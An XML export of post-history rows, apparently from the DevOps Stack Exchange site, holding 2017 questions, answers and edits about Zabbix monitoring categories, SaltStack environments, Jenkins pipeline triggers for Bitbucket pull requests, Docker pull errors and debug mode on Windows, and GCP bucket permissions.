  <row Id="4909" PostHistoryTypeId="5" PostId="1516" RevisionGUID="a19381cf-e158-418a-ae8d-6986a8ea4a59" CreationDate="2017-07-11T19:58:04.623" UserId="40" Comment="Better title" Text="We are building a (Zabbix-based) monitoring system for our applications; hovewer, I'm having difficulties in defining what to monitor?&#xD;&#xA;&#xD;&#xA;I have so far come up with the following general categories:&#xD;&#xA;&#xD;&#xA;* **hardware data**: cpu, ram, swap, etc.&#xD;&#xA;* **middleware data**: perfomance/health for MySQL instantces, Tomcat instances, JVMs, etc.&#xD;&#xA;* **logical** or **application** data: the current status/health of the system, e.g. number of active users, page request, etc.&#xD;&#xA;* **kpi data**: data for business, e.g. user registration over time.&#xD;&#xA;* **dashboard**: quick overview of the system (e.g. microservices are running or not).&#xD;&#xA;&#xD;&#xA;Are there any other fundamental categories for to monitor? Or is there another category system to use?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4910" PostHistoryTypeId="2" PostId="1521" RevisionGUID="ae9772a1-687b-4fcb-9dfc-b2f9b0ee094f" CreationDate="2017-07-11T21:56:49.577" UserId="3175" Text="Have you considered setting up a build server (i.e. Jenkins, TeamCity) with disposable build agents?&#xD;&#xA;&#xD;&#xA;If you do it in the cloud (i.e. via ec2 integration), you can literally set up an AMI with generic dependencies, then configure it to spin up a new VM for each build agent, which can be configured whichever way, and then delete the VM once you've done publishing your artifact (i.e. RPM)." ContentLicense="CC BY-SA 3.0" />
  <row Id="4911" PostHistoryTypeId="2" PostId="1522" RevisionGUID="7b4d47e2-2687-4994-8d5f-e5689fdbde10" CreationDate="2017-07-11T22:19:03.957" UserId="2845" Text="State and pillar environments are set independently.&#xD;&#xA;&#xD;&#xA;Specifing&#xD;&#xA;&#xD;&#xA;    environment: prod&#xD;&#xA;&#xD;&#xA;in the minion configuration will force the minion to use the prod state, but it will still use the default pillar data. To select a pillar environment you will also need:&#xD;&#xA;&#xD;&#xA;    pillarenv: prod&#xD;&#xA;&#xD;&#xA;This also does not work in old versions of salt and [is only supported with pillar.get as of salt version 2016.3,](https://github.com/saltstack/salt/issues/36629) so you may be in need of an update.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4912" PostHistoryTypeId="2" PostId="1523" RevisionGUID="15a0f6d2-5b01-4ca9-8d5d-6bf85223ed30" CreationDate="2017-07-11T22:24:20.873" UserId="2845" Text="Salt allows users to assign machines to environments by setting in /etc/salt/minion:&#xD;&#xA;&#xD;&#xA;    environment: example&#xD;&#xA;&#xD;&#xA;You can then execute environments for that state with the command `salt '*' state.apply saltenv=example`&#xD;&#xA;&#xD;&#xA;However, it appears that the same cannot be said for an arbitrary command. Running `salt '*' cmd.run 'df -h'` will run on all minions instead of just the minions in the &quot;example&quot; environment. How can I run commands for only a specified environment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4913" PostHistoryTypeId="1" PostId="1523" RevisionGUID="15a0f6d2-5b01-4ca9-8d5d-6bf85223ed30" CreationDate="2017-07-11T22:24:20.873" UserId="2845" Text="Salt Stack Reporting - Executing commands based on environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="4914" PostHistoryTypeId="3" PostId="1523" RevisionGUID="15a0f6d2-5b01-4ca9-8d5d-6bf85223ed30" CreationDate="2017-07-11T22:24:20.873" UserId="2845" Text="&lt;configuration-management&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4915" PostHistoryTypeId="2" PostId="1524" RevisionGUID="f94c55c6-ae49-4bbb-9002-8170b5009129" CreationDate="2017-07-11T23:12:44.230" UserId="2845" Text="The answer is that you can't directly. You have to set a grain on the minions first by doing something similar to:&#xD;&#xA;&#xD;&#xA;    salt '*' cmd.run 'grep environment /etc/salt/minion | awk &quot;{print \&quot;environment: \&quot; \$2}&quot; &gt;&gt; /etc/salt/grains'&#xD;&#xA;    salt '*' saltutil.sync_grains&#xD;&#xA;    salt -G environment:prod cmd.run 'df -h'" ContentLicense="CC BY-SA 3.0" />
  <row Id="4916" PostHistoryTypeId="5" PostId="1523" RevisionGUID="5f464d95-790c-4df0-bf35-325c4d9cc3e2" CreationDate="2017-07-11T23:13:06.220" UserId="2845" Comment="added 16 characters in body" Text="Salt allows users to assign machines to environments by setting in /etc/salt/minion:&#xD;&#xA;&#xD;&#xA;    environment: example&#xD;&#xA;&#xD;&#xA;You can then execute environments for that state with the command `salt '*' state.apply saltenv=example`&#xD;&#xA;&#xD;&#xA;However, it appears that the same cannot be said for an arbitrary command. Running `salt '*' cmd.run 'df -h' saltenv=example` will run on all minions instead of just the minions in the &quot;example&quot; environment. How can I run commands for only a specified environment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4917" PostHistoryTypeId="5" PostId="1516" RevisionGUID="0af9b1e5-a15d-40e2-9f3f-f2cdd07bb92a" CreationDate="2017-07-12T06:05:58.143" UserId="3464" Comment="added 309 characters in body" Text="We are building a (Zabbix-based) monitoring system for our applications; hovewer, I'm having difficulties in defining what to monitor?&#xD;&#xA;&#xD;&#xA;I have so far come up with the following general categories:&#xD;&#xA;&#xD;&#xA;* **hardware data**: cpu, ram, swap, etc.&#xD;&#xA;* **middleware data**: perfomance/health for MySQL instantces, Tomcat instances, JVMs, etc.&#xD;&#xA;* **logical** or **application** data: the current status/health of the system, e.g. number of active users, page request, etc.&#xD;&#xA;* **kpi data**: data for business, e.g. user registration over time.&#xD;&#xA;* **dashboard**: quick overview of the system (e.g. microservices are running or not).&#xD;&#xA;&#xD;&#xA;Are there any other fundamental categories for to monitor? Or is there another category system to use?&#xD;&#xA;&#xD;&#xA;**UPDATE**: the purpose of the monitoring is &#xD;&#xA;&#xD;&#xA;* the see if the system functions correctly (at high-level, e.g. no services are down, etc. - much like a smoke-test)&#xD;&#xA;* see, if there are any indicators, that the system is likely to crash (e.g. historical data predicts that we will run out of disk space)&#xD;&#xA;* if any of these occur, send a warning to the appropriate staff (e.g. via e-mail)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4918" PostHistoryTypeId="5" PostId="1516" RevisionGUID="6edad92d-9771-46ee-940c-793e23dea2e1" CreationDate="2017-07-12T06:19:33.933" UserId="3464" Comment="added 260 characters in body" Text="We are building a (Zabbix-based) monitoring system for our applications; hovewer, I'm having difficulties in defining what to monitor?&#xD;&#xA;&#xD;&#xA;I have so far come up with the following general categories:&#xD;&#xA;&#xD;&#xA;* **hardware data**: cpu, ram, swap, etc.&#xD;&#xA;* **middleware data**: perfomance/health for MySQL instantces, Tomcat instances, JVMs, etc.&#xD;&#xA;* **logical** or **application** data: the current status/health of the system, e.g. number of active users, page request, etc.&#xD;&#xA;* **kpi data**: data for business, e.g. user registration over time.&#xD;&#xA;* **dashboard**: quick overview of the system (e.g. microservices are running or not).&#xD;&#xA;&#xD;&#xA;Are there any other fundamental categories for to monitor? Or is there another category system to use?&#xD;&#xA;&#xD;&#xA;**UPDATE**: the purpose of the monitoring is &#xD;&#xA;&#xD;&#xA;* the see if the system functions correctly (at high-level, e.g. no services are down, etc. - much like a smoke-test)&#xD;&#xA;* see, if there are any indicators, that the system is likely to crash (e.g. historical data predicts that we will run out of disk space)&#xD;&#xA;* if any of these occur, send a warning to the appropriate staff (e.g. via e-mail)&#xD;&#xA;&#xD;&#xA;**UPDATE**: the complexity of our system does not demand an extra application for reporting (e.g. monitoring KPIs); also, we are running in local/local cloud infrastructure, so the **cost** of the application is not (that)relevant - but it might be someday :-)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4919" PostHistoryTypeId="2" PostId="1525" RevisionGUID="e50347d7-302e-4401-8565-e8d9c9519536" CreationDate="2017-07-12T06:57:41.810" UserId="3473" Text="Below is the requirement needed to achieve using the Jenkins Pipeline and i am new bee into Jenkins Pipeline.&#xD;&#xA;&#xD;&#xA; - After completing development work and pushing his changes to&#xD;&#xA;   Bitbucket the user creates a pull request.&#xD;&#xA; - In order to approve a pull request we require at least one successful&#xD;&#xA;   Jenkins build. Thereby we would like to get only the build result of&#xD;&#xA;   the code checked in for the pull request.&#xD;&#xA; - When a pull request is created/updated Jenkins shall be triggered&#xD;&#xA;   automatically for real continuous integration.&#xD;&#xA; - The build result shall be reported back to Bitbucket.&#xD;&#xA;&#xD;&#xA;**Used Stash Pull Request Builder and stash Notifier for the above process which is working for Normal Freestyle Project.**&#xD;&#xA;&#xD;&#xA;We need to migrate the similar functionality using Jenkins pipeline, So have created the jenkins job as below. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The pipeline script to checks out the PR branch and trigger build is as below&#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;        stage('Checkout') {         &#xD;&#xA;            checkout(&#xD;&#xA;            [&#xD;&#xA;                $class: 'GitSCM',&#xD;&#xA;                extensions: [               &#xD;&#xA;                    [$class: 'CleanCheckout'],              &#xD;&#xA;                ],&#xD;&#xA;                branches: [&#xD;&#xA;                    [name: '']&#xD;&#xA;                ], &#xD;&#xA;                userRemoteConfigs: &#xD;&#xA;                [[&#xD;&#xA;                    credentialsId: 'id', &#xD;&#xA;                    url: 'repourl.git'&#xD;&#xA;                ]]&#xD;&#xA;            ])&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Build') {    &#xD;&#xA;            sh 'make'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Though i have done the above configuration when i create/update the PR, the build is not automatically triggered in jenkins. I guess the notification from stash to jenkins did not happen because we specify `&quot;origin/${pullRequestId}/from&quot;` in free style project. But i do not have that option to specify in pipeline job.&#xD;&#xA;&#xD;&#xA;Tried few alternatives as below.&#xD;&#xA;&#xD;&#xA;Instead of stash Pull Request Builder i tried with just &quot;Poll SCM&quot; project and specified cron job to trigger as `&quot;* * * * *&quot;`. But even upon multiple commits the job is not triggered at jenkins means &quot;Poll SCM&quot; as Jenkins configuration did not work.&#xD;&#xA;&#xD;&#xA;Also based on below question, one answer says &quot;In freestyle job add a trigger to start your pipeline job as build step&quot; which i did not found.&#xD;&#xA;&#xD;&#xA;I am missing something here certainly which could be basic and new to jenkins pipeline.&#xD;&#xA;&#xD;&#xA;Any hint on achieving the desired behavior?&#xD;&#xA;  [1]: https://i.stack.imgur.com/bLLH0.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="4920" PostHistoryTypeId="1" PostId="1525" RevisionGUID="e50347d7-302e-4401-8565-e8d9c9519536" CreationDate="2017-07-12T06:57:41.810" UserId="3473" Text="Jenkins Pipeline and stash Pull Request Builder not working on PR create/update" ContentLicense="CC BY-SA 3.0" />
  <row Id="4921" PostHistoryTypeId="3" PostId="1525" RevisionGUID="e50347d7-302e-4401-8565-e8d9c9519536" CreationDate="2017-07-12T06:57:41.810" UserId="3473" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4923" PostHistoryTypeId="2" PostId="1526" RevisionGUID="1eb7f8b7-e187-4972-bacf-77a6cc2e6968" CreationDate="2017-07-12T09:48:57.647" UserId="707" Text="With a private registry, I cannot pull images because certains image layers fail to download. The pattern seems to be that this happens with larger, 50MB sized layers.&#xD;&#xA;It shouldn't be a registry neither network problem as colleagues with other systems manage to get these images.&#xD;&#xA;&#xD;&#xA;    6bbedd9b76a4: Pulling fs layer&#xD;&#xA;    fc19d60a83f1: Download complete&#xD;&#xA;    de413bb911fd: Download complete&#xD;&#xA;    2879a7ad3144: Download complete&#xD;&#xA;    668604fde02e: Download complete&#xD;&#xA;    f257ac562635: Download complete&#xD;&#xA;    07486ea9391a: Download complete&#xD;&#xA;    c131a1091dea: Download complete&#xD;&#xA;    e4e87f3caf2a: Downloading&#xD;&#xA;    6ef05c7ca3e3: Retrying in 1 second&#xD;&#xA;    85b7b45e23a1: Download complete&#xD;&#xA;    077ff1474b65: Retrying in 1 second&#xD;&#xA;    f85147a0e9d7: Waiting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dKRdS.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="4924" PostHistoryTypeId="1" PostId="1526" RevisionGUID="1eb7f8b7-e187-4972-bacf-77a6cc2e6968" CreationDate="2017-07-12T09:48:57.647" UserId="707" Text="Strange behaviour of Docker client on Windows - timeout for certain image layers" ContentLicense="CC BY-SA 3.0" />
  <row Id="4925" PostHistoryTypeId="3" PostId="1526" RevisionGUID="1eb7f8b7-e187-4972-bacf-77a6cc2e6968" CreationDate="2017-07-12T09:48:57.647" UserId="707" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4926" PostHistoryTypeId="5" PostId="1526" RevisionGUID="e6a0844c-93c6-4e12-a7e8-139a7e390936" CreationDate="2017-07-12T10:25:54.630" UserId="707" Comment="added 250 characters in body" Text="With a private registry, I cannot pull images because certains image layers fail to download. The pattern seems to be that this happens with larger, 50MB sized layers.&#xD;&#xA;It shouldn't be a registry neither network problem as colleagues with other systems manage to get these images.&#xD;&#xA;&#xD;&#xA;    6bbedd9b76a4: Pulling fs layer&#xD;&#xA;    fc19d60a83f1: Download complete&#xD;&#xA;    de413bb911fd: Download complete&#xD;&#xA;    2879a7ad3144: Download complete&#xD;&#xA;    668604fde02e: Download complete&#xD;&#xA;    f257ac562635: Download complete&#xD;&#xA;    07486ea9391a: Download complete&#xD;&#xA;    c131a1091dea: Download complete&#xD;&#xA;    e4e87f3caf2a: Downloading&#xD;&#xA;    6ef05c7ca3e3: Retrying in 1 second&#xD;&#xA;    85b7b45e23a1: Download complete&#xD;&#xA;    077ff1474b65: Retrying in 1 second&#xD;&#xA;    f85147a0e9d7: Waiting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Other errors on new retries with same image:&#xD;&#xA;&#xD;&#xA;    2c1171c58a199d2ec9daee729d88146dfb91caba4788: local error: tls: bad record MAC&#xD;&#xA;    &#xD;&#xA;    error pulling image configuration: tls: received record with version 5ea7 when expecting version 303&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dKRdS.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="4927" PostHistoryTypeId="5" PostId="1512" RevisionGUID="6ae63828-9fdc-4321-ac16-8f5d4e9fb6cc" CreationDate="2017-07-12T11:42:06.910" UserId="3462" Comment="Remove confusing S3 references" Text="I created a storage bucket B and I granted a user as &quot;Storage Object Viewer&quot; on it.&#xD;&#xA;The user can view bucket content with a direct link (e.g. https://console.cloud.google.com/storage/browser/B/?project=azerty).&#xD;&#xA;&#xD;&#xA;Is it possible to allow a user to list all buckets that he is allowed to read? It would be more user friendly to see them in Storage Browser Web console i.e. https://console.cloud.google.com/storage/browser&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4928" PostHistoryTypeId="4" PostId="1512" RevisionGUID="6ae63828-9fdc-4321-ac16-8f5d4e9fb6cc" CreationDate="2017-07-12T11:42:06.910" UserId="3462" Comment="Remove confusing S3 references" Text="How to allow users to list authorized buckets in GCP Storage?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4929" PostHistoryTypeId="5" PostId="1525" RevisionGUID="0336895b-7565-43fb-860e-c2b2129b82ad" CreationDate="2017-07-12T11:50:48.513" UserId="3473" Comment="added 145 characters in body" Text="Below is the requirement needed to achieve using the Jenkins Pipeline and i am new bee into Jenkins Pipeline.&#xD;&#xA;&#xD;&#xA; - After completing development work and pushing his changes to&#xD;&#xA;   Bitbucket the user creates a pull request.&#xD;&#xA; - In order to approve a pull request we require at least one successful&#xD;&#xA;   Jenkins build. Thereby we would like to get only the build result of&#xD;&#xA;   the code checked in for the pull request.&#xD;&#xA; - When a pull request is created/updated Jenkins shall be triggered&#xD;&#xA;   automatically for real continuous integration.&#xD;&#xA; - The build result shall be reported back to Bitbucket.&#xD;&#xA;&#xD;&#xA;**Used Stash Pull Request Builder and stash Notifier for the above process which is working for Normal Freestyle Project.**&#xD;&#xA;&#xD;&#xA;We need to migrate the similar functionality using Jenkins pipeline, So have created the jenkins job as below. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The pipeline script to checks out the PR branch and trigger build is as below&#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;        stage('Checkout') {         &#xD;&#xA;            checkout(&#xD;&#xA;            [&#xD;&#xA;                $class: 'GitSCM',&#xD;&#xA;                extensions: [               &#xD;&#xA;                    [$class: 'CleanCheckout'],              &#xD;&#xA;                ],&#xD;&#xA;                branches: [&#xD;&#xA;                    [name: '']&#xD;&#xA;                ], &#xD;&#xA;                userRemoteConfigs: &#xD;&#xA;                [[&#xD;&#xA;                    credentialsId: 'id', &#xD;&#xA;                    url: 'repourl.git'&#xD;&#xA;                ]]&#xD;&#xA;            ])&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Build') {    &#xD;&#xA;            sh 'make'&#xD;&#xA;        }&#xD;&#xA;        stage('notify') {&#xD;&#xA;		step([$class: 'StashNotifier'])&#xD;&#xA;			try {&#xD;&#xA;				// Do stuff&#xD;&#xA;				currentBuild.result = 'SUCCESS'     &#xD;&#xA;			} catch(err) {&#xD;&#xA;				currentBuild.result = 'FAILED'&#xD;&#xA;			}&#xD;&#xA;		step([$class: 'StashNotifier'])&#xD;&#xA;	   }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Though i have done the above configuration when i create/update the PR, the build is not automatically triggered in jenkins. I guess the notification from stash to jenkins did not happen because we specify `&quot;origin/${pullRequestId}/from&quot;` in free style project. But i do not have that option to specify in pipeline job.&#xD;&#xA;&#xD;&#xA;Tried few alternatives as below.&#xD;&#xA;&#xD;&#xA;Instead of stash Pull Request Builder i tried with just &quot;Poll SCM&quot; project and specified cron job to trigger as `&quot;H/2 * * * *&quot;`. Upon commits the job is triggered at jenkins. It means that for every commit the jenkins job gets triggered. **But Jenkins should trigger the job when PR is created/updated.**&#xD;&#xA;&#xD;&#xA;I am missing something here certainly which could be basic and new to jenkins pipeline.&#xD;&#xA;&#xD;&#xA;Any hint on achieving the desired behavior?&#xD;&#xA;  [1]: https://i.stack.imgur.com/bLLH0.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="4930" PostHistoryTypeId="5" PostId="1525" RevisionGUID="30f1f533-9aad-42a6-8881-ea03e73ec940" CreationDate="2017-07-12T11:59:17.437" UserId="3473" Comment="added 146 characters in body" Text="Below is the requirement needed to achieve using the Jenkins Pipeline and i am new bee into Jenkins Pipeline.&#xD;&#xA;&#xD;&#xA; - After completing development work and pushing his changes to&#xD;&#xA;   Bitbucket the user creates a pull request.&#xD;&#xA; - In order to approve a pull request we require at least one successful&#xD;&#xA;   Jenkins build. Thereby we would like to get only the build result of&#xD;&#xA;   the code checked in for the pull request.&#xD;&#xA; - When a pull request is created/updated Jenkins shall be triggered&#xD;&#xA;   automatically for real continuous integration.&#xD;&#xA; - The build result shall be reported back to Bitbucket.&#xD;&#xA;&#xD;&#xA;**Used Stash Pull Request Builder and stash Notifier for the above process which is working for Normal Freestyle Project.**&#xD;&#xA;&#xD;&#xA;We need to migrate the similar functionality using Jenkins pipeline, So have created the jenkins job as below. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The pipeline script to checks out the PR branch and trigger build is as below&#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;        stage('Checkout') {         &#xD;&#xA;            checkout(&#xD;&#xA;            [&#xD;&#xA;                $class: 'GitSCM',&#xD;&#xA;                extensions: [               &#xD;&#xA;                    [$class: 'CleanCheckout'],              &#xD;&#xA;                ],&#xD;&#xA;                branches: [&#xD;&#xA;                    [name: '']&#xD;&#xA;                ], &#xD;&#xA;                userRemoteConfigs: &#xD;&#xA;                [[&#xD;&#xA;                    credentialsId: 'id', &#xD;&#xA;                    url: 'repourl.git'&#xD;&#xA;                    refspec: ('+refs/pull-requests/*/from:refs/remotes/origin/pr/*/from'), &#xD;&#xA;				    branch: ('origin/pr/${pullRequestId}/from')&#xD;&#xA;                ]]&#xD;&#xA;            ])&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Build') {    &#xD;&#xA;            sh 'make'&#xD;&#xA;        }&#xD;&#xA;        stage('notify') {&#xD;&#xA;		step([$class: 'StashNotifier'])&#xD;&#xA;			try {&#xD;&#xA;				// Do stuff&#xD;&#xA;				currentBuild.result = 'SUCCESS'     &#xD;&#xA;			} catch(err) {&#xD;&#xA;				currentBuild.result = 'FAILED'&#xD;&#xA;			}&#xD;&#xA;		step([$class: 'StashNotifier'])&#xD;&#xA;	   }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Though i have done the above configuration when i create/update the PR, the build is not automatically triggered in jenkins. I guess the notification from stash to jenkins did not happen because we specify `&quot;origin/${pullRequestId}/from&quot;` in free style project. But i do not have that option to specify in pipeline job.&#xD;&#xA;&#xD;&#xA;Tried few alternatives as below.&#xD;&#xA;&#xD;&#xA;Instead of stash Pull Request Builder i tried with just &quot;Poll SCM&quot; project and specified cron job to trigger as `&quot;H/2 * * * *&quot;`. Upon commits the job is triggered at jenkins. It means that for every commit the jenkins job gets triggered. **But Jenkins should trigger the job when PR is created/updated.**&#xD;&#xA;&#xD;&#xA;I am missing something here certainly which could be basic and new to jenkins pipeline.&#xD;&#xA;&#xD;&#xA;Any hint on achieving the desired behavior?&#xD;&#xA;  [1]: https://i.stack.imgur.com/bLLH0.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="4931" PostHistoryTypeId="2" PostId="1527" RevisionGUID="f41c729d-4639-4c49-b3f9-e65369095857" CreationDate="2017-07-12T12:05:54.967" UserId="707" Text="By default, Docker client is not in debug mode. How to enable it?&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;       &gt; docker info&#xD;&#xA;        &#xD;&#xA;        ..&#xD;&#xA;        Debug Mode (client): false&#xD;&#xA;        Debug Mode (server): true&#xD;&#xA;        .." ContentLicense="CC BY-SA 3.0" />
  <row Id="4932" PostHistoryTypeId="1" PostId="1527" RevisionGUID="f41c729d-4639-4c49-b3f9-e65369095857" CreationDate="2017-07-12T12:05:54.967" UserId="707" Text="How to enable debug mode for Docker client on Windows 10?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4933" PostHistoryTypeId="3" PostId="1527" RevisionGUID="f41c729d-4639-4c49-b3f9-e65369095857" CreationDate="2017-07-12T12:05:54.967" UserId="707" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4934" PostHistoryTypeId="2" PostId="1528" RevisionGUID="84679993-276b-4211-8fa9-81bbee0d0f74" CreationDate="2017-07-12T16:28:02.107" UserId="2845" Text="For a laptop, desktop or standalone server, consider trying out [Docker containers](https://www.docker.com/). These containers are designed to allow you to provide differing libraries, packages and shared objects uniquely to each application.  You can have several different Docker containers running different and even conflicting libraries for the same application. You should be able to then use these to package and compile your RPMs.&#xD;&#xA;&#xD;&#xA;Because these containers run on a single kernel instead of having to power the overhead of multiple kernels, you will be able to run more simultaneously. Furthermore, because Docker uses the underlying file system and [creates unions](https://en.wikipedia.org/wiki/Docker_(software)) instead of keeping an entire second copy of a whole disk image, managing and cloning containers is faster, lighter weight, will require less storage and since there is no boot sequence to go through, they should start and stop faster.&#xD;&#xA;&#xD;&#xA;They are also compatible with Jenkins, TeamCity, Vagrant and several other build server software suites, AWS/EC2 and many configuration management systems." ContentLicense="CC BY-SA 3.0" />
  <row Id="4935" PostHistoryTypeId="2" PostId="1529" RevisionGUID="0db0d508-f03a-4832-a359-45570b15a385" CreationDate="2017-07-12T20:21:56.603" UserId="2845" Text="You may wish to try disabling and uninstalling any antivirus software you have installed and see if it resolves the issue (I of course don't recommend this in the long term). I have seen two different instances of antivirus interrupting SSL conections on Windows 10 recently. Chrome would report a similar error to &quot;bad record MAC&quot; and the issue was generalized to any SSL website or connection and any browser. Unstalling or changing A/V software resolved the issue." ContentLicense="CC BY-SA 3.0" />
  <row Id="4936" PostHistoryTypeId="2" PostId="1530" RevisionGUID="08777d68-3046-4406-b661-6a0f0e342e8f" CreationDate="2017-07-12T21:08:24.193" UserId="2845" Text="According to Wikipedia, the first reference you linked,&#xD;&#xA;&#xD;&#xA;&gt;In computer science and information science, an ontology is a formal naming and definition of the types, properties, and interrelationships of the entities that really or fundamentally exist for a particular domain of discourse. It is thus a practical application of philosophical ontology, with a taxonomy.&#xD;&#xA;&#xD;&#xA;The problem with developing an Ontology Model to define the terms of DevOps is that DevOps [encompasses multiple domains](https://blog.chef.io/2017/06/16/whats-name-devops-mean-just-dev-ops/) and these domains can often have overlapping or contradictory terminology.&#xD;&#xA;&#xD;&#xA;In fact, sometimes [even](https://en.wikipedia.org/wiki/Name_Service_Switch) [within](https://en.wikipedia.org/wiki/Network_switching_subsystem) [a](https://en.wikipedia.org/wiki/Uniform_Resource_Name#Syntax) [domain](https://en.wikipedia.org/wiki/Network_Security_Services) there will be [conflicting terminology](https://devops.stackexchange.com/a/1453/2845). So it is difficult enough to establish a standard for a single domain, let alone multiple domains.&#xD;&#xA;&#xD;&#xA;As such, it is doubtful there will be any attempt to establish formal ontology rules for DevOps any time soon. (And it would have to start with formally defining DevOps first, and so far we have had trouble even making that clear)." ContentLicense="CC BY-SA 3.0" />
  <row Id="4941" PostHistoryTypeId="5" PostId="1527" RevisionGUID="0d1c3f60-0418-47a3-848c-74355773471d" CreationDate="2017-07-13T06:38:08.757" UserId="707" Comment="added 682 characters in body" Text="By default, Docker client is not in debug mode. How to enable it?&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;       &gt; docker info&#xD;&#xA;        &#xD;&#xA;        ..&#xD;&#xA;        Debug Mode (client): false&#xD;&#xA;        Debug Mode (server): true&#xD;&#xA;        ..&#xD;&#xA;&#xD;&#xA;If I try following `docker --help`&#xD;&#xA;&#xD;&#xA;    docker -D version &#xD;&#xA;&#xD;&#xA;I get indeed&#xD;&#xA;&#xD;&#xA;    Debug Mode (client): true&#xD;&#xA;    Debug Mode (server): true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But then, how can I access log messages? The following for example does not seem to bring any debug statements to the console:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    PS U:\&gt; docker -D -l debug pull ubuntu:16.04&#xD;&#xA;    16.04: Pulling from library/ubuntu&#xD;&#xA;    75c416ea735c: Pull complete&#xD;&#xA;    c6ff40b6d658: Pull complete&#xD;&#xA;    a7050fc1f338: Pull complete&#xD;&#xA;    f0ffb5cf6ba9: Pull complete&#xD;&#xA;    be232718519c: Pull complete&#xD;&#xA;    Digest: sha256:a0ee7647e24c8494f1cf6b94f1a3cd127f4&#xD;&#xA;    Status: Downloaded newer image for ubuntu:16.04&#xD;&#xA;&#xD;&#xA;Disclaimer: this is not trolling." ContentLicense="CC BY-SA 3.0" />
  <row Id="4942" PostHistoryTypeId="5" PostId="1526" RevisionGUID="bca3e56c-6822-406f-bade-7c7cc8eab0ee" CreationDate="2017-07-13T06:44:46.203" UserId="707" Comment="added 140 characters in body" Text="With a private registry, I cannot pull images because certains image layers fail to download. The pattern seems to be that this happens with larger, 50MB sized layers.&#xD;&#xA;It shouldn't be a registry neither network problem as colleagues with other systems manage to get these images.&#xD;&#xA;&#xD;&#xA;    6bbedd9b76a4: Pulling fs layer&#xD;&#xA;    fc19d60a83f1: Download complete&#xD;&#xA;    de413bb911fd: Download complete&#xD;&#xA;    2879a7ad3144: Download complete&#xD;&#xA;    668604fde02e: Download complete&#xD;&#xA;    f257ac562635: Download complete&#xD;&#xA;    07486ea9391a: Download complete&#xD;&#xA;    c131a1091dea: Download complete&#xD;&#xA;    e4e87f3caf2a: Downloading&#xD;&#xA;    6ef05c7ca3e3: Retrying in 1 second&#xD;&#xA;    85b7b45e23a1: Download complete&#xD;&#xA;    077ff1474b65: Retrying in 1 second&#xD;&#xA;    f85147a0e9d7: Waiting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Other errors on new retries with same image:&#xD;&#xA;&#xD;&#xA;    2c1171c58a199d2ec9daee729d88146dfb91caba4788: local error: tls: bad record MAC&#xD;&#xA;    &#xD;&#xA;    error pulling image configuration: tls: received record with version 5ea7 when expecting version 303&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPD. Strange enough, the very first image layer which always gets stuck before it downloads anything stucks rarely at &quot;downloading... 987B&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dKRdS.png" ContentLicense="CC BY-SA 3.0" />
